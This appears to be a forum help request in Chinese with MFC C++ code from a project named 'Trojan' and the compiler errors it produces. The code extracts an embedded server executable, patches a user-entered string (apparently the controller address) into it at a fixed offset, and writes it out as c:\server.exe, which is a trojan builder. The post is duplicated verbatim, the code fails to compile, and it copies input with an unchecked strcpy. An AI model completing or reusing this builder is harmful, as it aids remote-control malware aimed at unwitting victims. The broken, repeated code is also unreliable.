void CTrojanDlg::OnOK()
{
// TODO: Add extra validation here
UpdateData();
if(server())
{
MessageBox("配置服务端成功");
}
else
{
MessageBox("生成服务端出错");
}
BOOL CTrojanDlg::server()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength())); //这句怎么解释呢?
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,10);
HANDLE greate1=CreateFile("c:\\server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}------------------------------------------------------------------
以上的是代码-------------------------------以下是错误信息-------------------------
--------------------Configuration: Trojan - Win32 Release--------------------
Compiling...
TrojanDlg.cpp
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(204) : error C2601: 'server' : local function definitions are illegal
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(220) : fatal error C1004: unexpected end of file found
Error executing cl.exe.Trojan.exe - 2 error(s), 0 warning(s)
{
// TODO: Add extra validation here
UpdateData();
if(server())
{
MessageBox("配置服务端成功");
}
else
{
MessageBox("生成服务端出错");
}
BOOL CTrojanDlg::server()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength())); //这句怎么解释呢?
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,10);
HANDLE greate1=CreateFile("c:\\server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}------------------------------------------------------------------
以上的是代码-------------------------------以下是错误信息-------------------------
--------------------Configuration: Trojan - Win32 Release--------------------
Compiling...
TrojanDlg.cpp
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(204) : error C2601: 'server' : local function definitions are illegal
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(220) : fatal error C1004: unexpected end of file found
Error executing cl.exe.Trojan.exe - 2 error(s), 0 warning(s)
VC6 ALT + F8
VS2005 CTRL + K CTRL + F